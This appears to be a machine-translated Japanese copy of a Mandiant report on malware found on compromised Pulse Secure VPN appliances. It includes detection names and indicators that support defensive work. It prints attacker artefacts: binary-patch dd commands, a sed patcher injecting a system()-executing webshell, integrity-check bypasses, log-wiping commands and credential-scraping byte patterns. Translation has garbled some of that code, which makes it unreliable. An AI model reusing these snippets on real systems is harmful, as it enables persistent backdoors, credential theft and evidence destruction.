printf ‘x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf ‘x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf ‘x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

SLOWPULSE バリアント 4 UnPatcher

SLOWPULSE ファミリの調査の一環として、SLOWPULSE V4 の元のlibdsplibs.soファイルから悪意のあるロジックを削除するために攻撃者が使用したユーティリティを復元することができました。攻撃者は、 libdsplibs.soに適用されたパッチを削除することを選択しました。 SHA256 のファイル: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062aは、SLOWPULSE V4 のアンパッチャー ユーティリティです。このサンプルも単純な bash スクリプトであり、完全には次のとおりです。

printf ‘xE8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf ‘xE2’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf ‘x08’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf ‘xD0’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf ‘xFF’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

ステディパルス

ファイルlicenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc ) は、任意のコマンド実行を可能にする Pulse Secure ツールで使用される正規の Perl スクリプトを変更して実装された Web シェルです。

攻撃者は、Webshell を実装する Perl コードの 2 つのブロックを挿入しました。ソース コードの変更は、挿入されたコードの開始と終了を示すコメントで囲まれています。使用されるコメント文字列は##cgistart1##cgiend1##cgistart2および##cgiend2です。これらのコメント文字列の正確な目的は不明ですが、攻撃者はそれらを悪意のあるコードの更新を容易にしたり、必要に応じて迅速に削除したりするために使用する可能性があります。

  • タグ##cgistart1および##cgiend1で囲まれた Perl スクリプトは、webshell によって使用される Perl モジュールをインポートするためにいくつかの行を追加します。また、受信したコマンド データのパラメータを解析する機能を追加します。
  • タグ##cgistart2および##cgiend2で囲まれたスクリプトは、Webshell によって実行されるように設計された Web 要求が存在する場合、それをチェックする役割を果たします。 Webshell 要求が見つからない場合、スクリプトは Web ページの正当な Perl スクリプトに実行を渡します。

スクリプトのwebshel l 部分は、秘密鍵と一致するサーバー ID のフォーム送信名=値のペアを受け取ると呼び出されます。これにより、Webshell はQUERY_STRING CGI 環境変数を介して渡された文字列を抽出します。 &文字で区切られた個々のキーと値のペアは、URL でデコードされます。スクリプトは受信したすべてのキーと値のペアを解析しますが、具体的には cmd パラメータに関連付けられたデータを探して抽出します。見つかった場合は、実行する抽出された cmd と以前のserverid値を含むフォームと、 Runという名前のフォーム送信ボタンを生成します。送信されると、webshell は渡されたコマンドを被害ホストのコマンド ラインで実行し、終了する前に攻撃者に結果を表示します。 cmd 値が抽出されなかった場合、Webshell は単純に</pre> HTML タグを出力します。

パルスチェック

ファイルsecid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1 ) は、任意のコマンドの実行を可能にする Perl で記述された Web シェルです。適切にフォーマットされたリクエストを使用すると、スクリプトは webshell コードを実行します。それ以外の場合は、Pulse Secure VPN ソフトウェアの正当なウェルカム ページが呼び出される可能性があります。

スクリプトは、HTTP POST メソッドを使用して Web リクエストをチェックし、見つかった場合は、CGI 環境変数HTTP_X_KEYの HTTP リクエスト ヘッダーをさらにチェックします。このヘッダーがバックドア キーと一致する場合、マルウェアは送信されたコマンドの結果を変数HTTP_X_CMDに出力します。このデータは RC4 で暗号化され、base64 でエンコードされています。復号化するパスフレーズは、環境変数HTTP_X_CNTで送信されます。 Webshell は、コンテンツ タイプをContent-type:text/htmlに設定し、コマンド出力を出力します。これに続いて、スクリプトは終了します。

クワイエットパルス

ファイルdsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd ) は、子プロセス/home/bin/dshelperをフォークする悪意のある変更を加えた正規の Perl スクリプトです。 dshelper スクリプトは、PulseSecure のクリーン インストールには存在しません。このファイルは、QUIETPULSE ユーティリティ スクリプトとして記述されています。

QUIETPULSE ユーティリティ スクリプト

ファイルdshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4 ) は、ファイルのコピーとコマンドの実行を担当するユーティリティ スクリプトとして主に機能するdsserverの悪意のあるバージョンによって呼び出されるシェル スクリプトです。 ATRIUM パッチャーと同様に、このスクリプトは、システムのアップグレード中に使用されるパスである /tmp/data にアクセスします。したがって、このファイルは、ATRIUM パッチャーと同様に、攻撃者が永続性を維持するために使用します。スクリプトは、2 分ごとに 4 つの主要なチェックが実行されるループで実行するように設定されています。チェックは次のとおりです。

チェック1

/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgiが存在し、空でない場合は、次を実行します。

  • grep -c -s ‘system($depara)’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

ファイルにコンテンツsystem($depara)があるかどうかを確認します。ファイルにこのコンテンツが含まれていない場合は、次のコマンドを実行してファイルの最初の行を取得します。

  • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

次に、次の方法でファイルをコピーします。

  • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

次に、コピーの最初の行を、上記の sed から取得した行に置き換えます。

  • sed -i 1c”<varies>” /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

チェック2

/tmp/data/root/home/bin/がディレクトリとして存在する場合は、ファイル/tmp/data/root/home/bin/dshelperが存在しないかどうかを確認します。存在しない場合は、次の方法でファイルをコピーして配置します。

  • cp -p /home/bin/dshelper /tmp/data/root/home/bin/

チェック3

/tmp/data/root/home/bin/dsserverが存在し、空でない場合は、次のコマンドを実行して、ファイルに文字列exec(“/home/bin/dshelper”)が含まれていないかどうかを確認します。

  • grep -c -s ‘exec(“/home/bin/dshelper”)’ /tmp/data/root/home/bin/dsserver

そうでない場合は、実行して行を挿入します。

  • sed -i ‘s/for (;;)/my $monpid = fork();nif ($monpid == 0) {nexec(“/home/bin/dshelper”);n }n&/g’ /tmp/data/root/home/bin/dsserver

チェック4

ファイル/tmp/data/root/home/bin/check_integrity.shが存在し、空でない場合は、次のコマンドを実行して、ファイルに文字列exit 1が含まれているかどうかを確認します。

  • grep -c -s ‘exit 1’ /tmp/data/root/home/bin/check_integrity.sh

ファイルにこのコンテンツが含まれている場合は、次のコマンドを実行してコンテンツをexit 0に切り替えます。

  • sed -i ‘s/exit 1/exit 0/g’ /tmp/data/root/home/bin/check_integrity.sh
パルスジャンプ

SHA256 を含むファイル: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7aは、システム情報と資格情報を収集する Perl スクリプトです。このサンプルは、複数のソースからの情報をファイル/tmp/dsactiveuser.statementcountersに追加モードで書き込みます。

サンプルは、API AuthAdmin::getAllAuthServersを介してすべての認証サーバーを取得することから始まります。結果をログに記録します。次に、サンプルは API DSRole::GeneralAdmin::getRolesを介してすべてのロールをログに記録し、値をファイルに書き込みます。このサンプルは、デバイスの構成によっては、追加情報を取得してログに記録する場合もあります。

ハードパルス

ファイルcompcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc ) には、任意のファイルを読み書きする機能があり、特定のライブラリ関数の実装に応じて任意のコマンドを実行する可能性があります。

このサンプルは、HTTP GET および PUT に応答します。 GET パスは関係ありませんが、PUT パスは最初に、着信要求のcheckcode POST パラメータがハードコードされたパスコードと等しいかどうかをチェックします。このチェックに合格すると、サンプルはパラメーター hashidを調べて、空でないかどうかを判断します。空でない場合、サンプルはハードウェア情報を含むプロンプトをユーザーに表示し、base64 はパラメーター hashid をデコードしてpulsesecureに対してチェックします。これが一致する場合、16 ランダム バイトの MD5 ハッシュである recoveryToken が生成され、結果のハッシュは 8 文字に切り捨てられます。このトークンは、URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies>を介してユーザーに表示され、サンプルは終了します。このチェックが一致しなかった場合、サンプルは base64 でデコードされたデータを、シェル コマンドを実行するルーチンDSSafe::psystemに渡しますが、この実装は提供されておらず、憶測です。

パラメータ hashid が空の場合、サンプルは代わりにパラメータmが空でないことを確認します。その場合、ホストに対して任意のファイルをそれぞれ読み書きする get および put と照合されます。

アトリウム

ファイルcompcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90 ) は、任意のコマンドを実行できる webshell です。このサンプルには、正当なロジックの最後に悪意のあるロジックが挿入されています。悪意のあるロジックは、あらゆるタイプのすべてのリクエストを検査して、HTTP クエリ パラメータidを探します。このクエリ パラメータが存在する場合、サンプルはシステムAPI を使用して逐語的に実行します。このサンプルでは、コマンドをエンコードまたは難読化することは一切ありません。リクエスト内にクエリ パラメータが見つからない場合は、元の正当なロジックが呼び出されます。

持続パッチャー

ファイルDSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450 ) は、システムのアップグレード後も Webshell を永続化するパッチャー ユーティリティ スクリプトです。複数の Webshell ファミリ、特に ATRIUM、STEADYPULSE、および PULSECHECK の永続性を標的とするこのユーティリティの亜種を確認しました。以前のパッチャーと同様に、このサンプルはsedを使用して悪意のあるロジックを挿入します。攻撃者は、パッチ ロジックをホストするためにDSUpgade.pmを選択した可能性があります。DSUpgade.pm はシステム アップグレード手順のコア ファイルであり、パッチが更新中に確実に実行されるようにするためです。パッチャーは/tmp/dataの内容を変更します。このディレクトリには、新しくアップグレードされたシステムが起動する、抽出されたアップグレード イメージが保持されます。これにより、攻撃者が更新後もシステムへのアクセスを維持できる永続化メカニズムが実現します。

my $cmd_x=”sed -i ‘/echo_console “パッケージを保存中”/i(
sed -i \’/main();\$/cif(CGI::param(\”id\”)){
print \”Cache-Control: no-cache\\n\”;
print \”Content-type: text/html\\n\\n\”;
my \$na=CGI::param(\”id\”);
システム(\”\$na\”);
} そうしないと{
&主要();
}\’ /tmp/data/root$cgi_p;
cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl;
cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)’/pkg/do-install”;

パッチャーは、圧縮されたパッケージを解凍するための追加のシェル コマンドも実行します。

system(“/bin/mount -o remount,rw /dev/root /”);
system(“/bin/tar”, “-xzf”, “/tmp/new-pack.tgz”, “-C”, “/tmp”,”./installer”);
system(“cp -f /tmp/installer/do-install /pkg/”);
system(“cp -f /tmp/installer/VERSION /pkg/”);
system(“cp -f /tmp/installer/sysboot-shlib /pkg/”);
system(“cp -f /tmp/installer/losetup /pkg/”);

ペースメーカー

ファイルmemread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 ) は、クレデンシャル スティーラーです。サンプルには使用情報があります。

使用法: memread [-t 時間(分)] [-m サイズ(MB)] [-s sleep_interval(秒)]

サンプルは、構成可能な分数 (デフォルトでは 14 分) が経過するとアプリケーションを強制終了するアラームを設定することから始めます。次に、ターゲット アプリケーションを探すために 2 秒ごとに/proc/エントリを読み取るループに入ります。この間隔も構成可能です。ターゲットは、フォルダ内の各エントリに対して/proc/<process_name>/cmdlineを開き、このファイルを読み込んでコマンド ライン内の文字列dswsdを検索することによって検出されます。ターゲット アプリケーションのproc/<target_pid>/memが開かれていることが検出されると、プロセスは PTRACE を使用して接続され、メモリは最大 512 バイトのサイズのチャンクで読み取られます。チャンクごとに、文字列20 30 20 0A 00 ( 0 n)が針として検索されます。サンプルが見つかった場合、最初のスペースでデータを分割し、次にダッシュ – を付けます。 2 つのダッシュが検出されることが予想され、これらはすぐに 16 進数に変換されます (例: -<number>)。 2 番目の数値から 1 番目の数値を引いた値が 8191 より大きい場合、サンプルは最初の数値のファイル オフセットから始まり、2 番目の数値から最初の数値を引いた値で指定されたサイズまでデータを読み取ります。

サンプルがプロセス メモリを読み取り、対象のすべてのメモリ データを検出すると、サンプルは PTRACE をデタッチし、コピーされたデータのメモリ スキャンを開始します。このサンプルは、メモリ内の一連の「フラグ」を 1 つずつ検索して、攻撃者が盗もうとしていると思われる情報を見つけようとします。この情報は不明であり、その構造も不明です。スキャン対象のシーケンスには、通常、スキャン対象の開始シーケンスと終了スキャン シーケンスがあります。

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

これらのシーケンスがすべて見つかった場合、開始と終了の間のデータが抽出され、最終的にフォーマットされてファイル/tmp/dsserver-check.statementcountersに書き込まれます。このデータのおおよその形式は次のとおりです。

名前:<ユーザー名> || Pwd:<パスワード> ||認証番号:<認証番号>n

このサンプルでは、次の URL エンコードされた値をパスワードの ASCII 表現に置き換えます。

& -> &
< -> <
> -> >

PACEMAKER ランチャー ユーティリティ

PACEMAKER の調査の一環として、クレデンシャル スティーラーを起動する単純な bash スクリプトを取得することができました。ランチャー スクリプト ハッシュ SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ecは、16MB のメモリ読み取りサイズと 2 秒のメモリ スキャン間隔を指定するオプションを使用して、ハードコードされたパスから PACEMAKER を起動します。

#!/ビン/バッシュ

/home/bin/memread -t $1 -m 16 -s 2 &

THINBLOOD ログ ワイパー ユーティリティ

SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 を含むファイル dsclslog、ログ ワイパー ユーティリティです。サンプルは、使用法に関する情報を提供します。

使用法: dsclslog -f [イベント|アクセス] -r [Regex1,Regex2,Regex3,…]

–fフラグは、ディレクトリ/home/runtime/logs内のファイルlog.events.vc0またはlog.access.vc0を変更する必要があるかどうかを指定します。ログ クリーニング操作を実行するために、サンプルは最初に選択されたログ ファイルのコピーを 2 つ作成しますが、新しいファイルの拡張子として.vc1.vc2を使用します。 .vc1を持つファイルは、指定されたエントリに一致するエントリを検索するために使用され、 .vc2拡張子を持つファイルは、消去されたログが書き込まれる一時ファイルとして使用されます。両方のファイルを生成し、ログのクリーニングが完了すると、サンプルはシステム API を介して次のコマンドを実行し、元のログをクリーニングされたバージョンで上書きしてから、中間ログを削除します。

mv /home/runtime/logs/log.<ログタイプ>.vc2
/home/runtime/logs/log.<ログタイプ>.vc0
rm /home/runtime/logs/log.<ログタイプ>.vc1

THINBLOOD LogWiper ユーティリティの亜種

ファイルclear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9 ) は、特定の正規表現パターンに一致するログ行をゼロにする BASH スクリプトです。このサンプルは、コンパイル済みのTHINBLOOD Log Wiper に似ていますが、一時的なコピーを作成するのではなく、sed を使用してその場でログを編集します。使用される sed コマンドは次のとおりです。

sed -i “s/.x00[^x00]*<正規表現文字列>[^x00]*x09.x00//g” /data/runtime/logs/<ログファイル>

sed -i “s/x<hex_char>x00[^x00]*$2[^x00]*x09x<hex_char>x00//g” /data/runtime/logs/<ログファイル>

このサンプルには、使用情報が埋め込まれています。

使用方法: /home/bin/bash clear_log.sh [ログファイル] [キーワード(正規表現)]

ピッキング用品

ファイルlibcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8 ) は、openssl の暗号化ロジックを含む共有オブジェクトです。サンプルには、生成された乱数のセキュリティを破るルーチンbnrand_rangeへの変更が含まれています。このルーチンには、指定された範囲内で大きな乱数を生成するための 3 つのパスがあります。最初のケースは変更されず、ゼロ化された大きな数を生成します。他の 2 つのケースは、生成されたランダム値を定数値で上書きし、常に成功を返すようにパッチが適用されます。これにより、すべての場合において攻撃者が知っている値に置き換えることで、乱数の生成が中断されます。

LOCKPICKパッチャー

ハッシュb990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4を持つファイルは、LOCKPICK として知られる悪意のあるロジックを挿入するパッチャー ユーティリティです。パッチャーは、アプライアンスに組み込まれている整合性チェッカー スクリプトで sed を実行して、早期終了ルーチンを挿入することから開始します。これはコマンドsed -i ’12aexit 0′ /home/bin/check_integrity.shによって挿入され、適用されると、このスクリプトは意図したチェックを実行せずに終了します。この後、サンプルは Python ファイルの読み取り/書き込み API を使用して、LOCKPICK と呼ばれるロジックを表すアセンブリの長い文字列を挿入します。このファイルは、Python であり、特にシステム整合性ルーチンをターゲットにしているという点で、私たちが特定した他のパッチャーとは異なります。

テクニックの検出

次の表には、Pulse Secure VPN デバイスの悪用に関連するマルウェア ファミリの特定の FireEye 製品検出名が含まれています。

プラットフォーム

検出名

ネットワークセキュリティー

メールセキュリティ

オンデマンドでの検出

マルウェア ファイルのスキャン

マルウェア ファイル ストレージ スキャン

FE_APT_Webshell_PL_HARDPULSE_1
FEC_APT_Webshell_PL_HARDPULSE_1
APT.Webshell.PL.HARDPULSE

FE_APT_Trojan_PL_PULSEJUMP_1
FEC_APT_Trojan_PL_PULSEJUMP_1
FE_Trojan_PL_Generic_1

FE_APT_Trojan_PL_RADIALPULSE_1
FEC_APT_Trojan_PL_RADIALPULSE_1
FE_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_3
FEC_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_4
FEC_APT_Trojan_PL_RADIALPULSE_3
FE_APT_Trojan_PL_RADIALPULSE_5
FE_APT_Tool_SH_RADIALPULSE_1
FEC_APT_Tool_SH_RADIALPULSE_1

FE_APT_Trojan_Linux32_PACEMAKER_1
FE_APT_Trojan_Linux_PACEMAKER_1

FE_APT_Backdoor_Linux32_SLOWPULSE_1
FE_APT_Backdoor_Linux32_SLOWPULSE_2
FE_APT_Trojan_Linux32_SLOWPULSE_1
FE_APT_Tool_Linux32_SLOWPULSE_1

FE_APT_Webshell_PL_STEADYPULSE_1
FEC_APT_Webshell_PL_STEADYPULSE_1
APT.Webshell.PL.STEADYPULSE

FE_APT_Trojan_Linux32_LOCKPICK_1

FE_Webshell_PL_ATRIUM_1
FEC_Webshell_PL_ATRIUM_1
FE_Trojan_SH_ATRIUM_1

FE_APT_Webshell_PL_SLIGHTPULSE_1
FEC_APT_Webshell_PL_SLIGHTPULSE_1
APT.Webshell.PL.SLIGHTPULSE

FE_APT_Webshell_PL_PULSECHECK_1
FEC_APT_Webshell_PL_PULSECHECK_1

FE_APT_Tool_Linux32_THINBLOOD_1
FE_APT_Tool_Linux_THINBLOOD_1
FE_APT_Tool_SH_THINBLOOD_1
FEC_APT_Tool_SH_THINBLOOD_1
APT.Tool.Linux.THINBLOOD.MVX

FE_APT_Trojan_PL_QUIETPULSE_1
FEC_APT_Trojan_PL_QUIETPULSE_1
FE_Trojan_SH_Generic_2
FEC_Trojan_SH_Generic_3

不審なパルス Secure HTTP リクエスト (IPS)

エンドポイント セキュリティ

リアルタイム (IOC)

  • スローパルス (バックドア)
  • ペースメーカー(ランチャー)
  • シンブラッド(ユーティリティ)

ヘリックス

VPN ANALYTICS [異常なログオン]
エクスプロイト – SONICWALL ES [CVE-2021-20021 試行]
悪用 – SONICWALL ES [CVE-2021-20021 成功]
エクスプロイト – SONICWALL ES [CVE-2021-20023 試行]
悪用 – SONICWALL ES [CVE-2021-20023 成功]

Mandiant のセキュリティ検証アクション

組織は、 Mandiant Security Validationで次のアクションを使用して、セキュリティ コントロールを検証できます。

VID

題名

A101-596

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #1

A101-597

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #2

A101-598

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #3

A101-599

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #4

A101-600

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #5

A101-601

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #6

A101-602

悪意のあるファイル転送 – SLOWPULSE、ダウンロード、亜種 #7

A101-604

悪意のあるファイル転送 – Pulse Secure の脆弱性、ユーティリティ、ダウンロード、亜種 #1

A101-605

悪意のあるファイル転送 – RADIALPULSE、ダウンロード、亜種 #1

A101-606

悪意のあるファイル転送 – PULSEJUMP、ダウンロード、亜種 #1

A101-607

悪意のあるファイル転送 – HARDPULSE、ダウンロード、亜種 #1

A101-608

悪意のあるファイル転送 – SLIGHTPULSE、ダウンロード、亜種 #1

A101-609

悪意のあるファイル転送 – LOCKPICK、パッチャー、ダウンロード、亜種 #1

A101-610

悪意のあるファイル転送 – LOCKPICK、ダウンロード、亜種 #1

A101-611

悪意のあるファイル転送 – ATRIUM、パッチャー、ダウンロード、バリアント #1

A101-612

悪意のあるファイル転送 – PACEMAKER、ランチャー、ダウンロード、亜種 #1

A101-613

悪意のあるファイル転送 – PACEMAKER、ダウンロード、亜種 #1

A101-614

悪意のあるファイル転送 – QUIETPULSE ユーティリティ、ダウンロード、亜種 #1

A101-615

悪意のあるファイル転送 – QUIETPULSE、ダウンロード、亜種 #1

A101-616

悪意のあるファイル転送 – STEADYPULSE、ダウンロード、亜種 #2

A101-617

悪意のあるファイル転送 – STEADYPULSE、ダウンロード、亜種 #1

A101-618

悪意のあるファイル転送 – ATRIUM、ダウンロード、亜種 #1

A101-619

悪意のあるファイル転送 – THINBLOOD、ダウンロード、亜種 #1

A101-620

悪意のあるファイル転送 – THINBLOOD、ダウンロード、亜種 #2

A101-621

悪意のあるファイル転送 – PULSECHECK、ダウンロード、亜種 #1

A101-622

悪意のあるファイル転送 – PULSECHECK、ダウンロード、亜種 #2

A104-757

ホスト CLI – QUIETPULSE ユーティリティ、チェック、バリアント #1

A104-758

ホスト CLI – QUIETPULSE ユーティリティ、チェック、バリアント #2

A104-759

ホスト CLI – QUIETPULSE ユーティリティ、チェック、バリアント #3

A104-760

ホスト CLI – QUIETPULSE ユーティリティ、チェック、バリアント #4

謝辞

Mandiant は、分析と調査に協力してくれた Stroz Friedberg DFIR および Security Testing チームに感謝します。また、チームは、分析とブログ コンテンツに尽力してくれた Joshua Villanueva、Regina Elwell、Jonathan Lepore、Dimiter Andonov、Josh Triplett、Jacob Thompson、Michael Dockry にも感謝します。

参照: https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Comments

Copied title and URL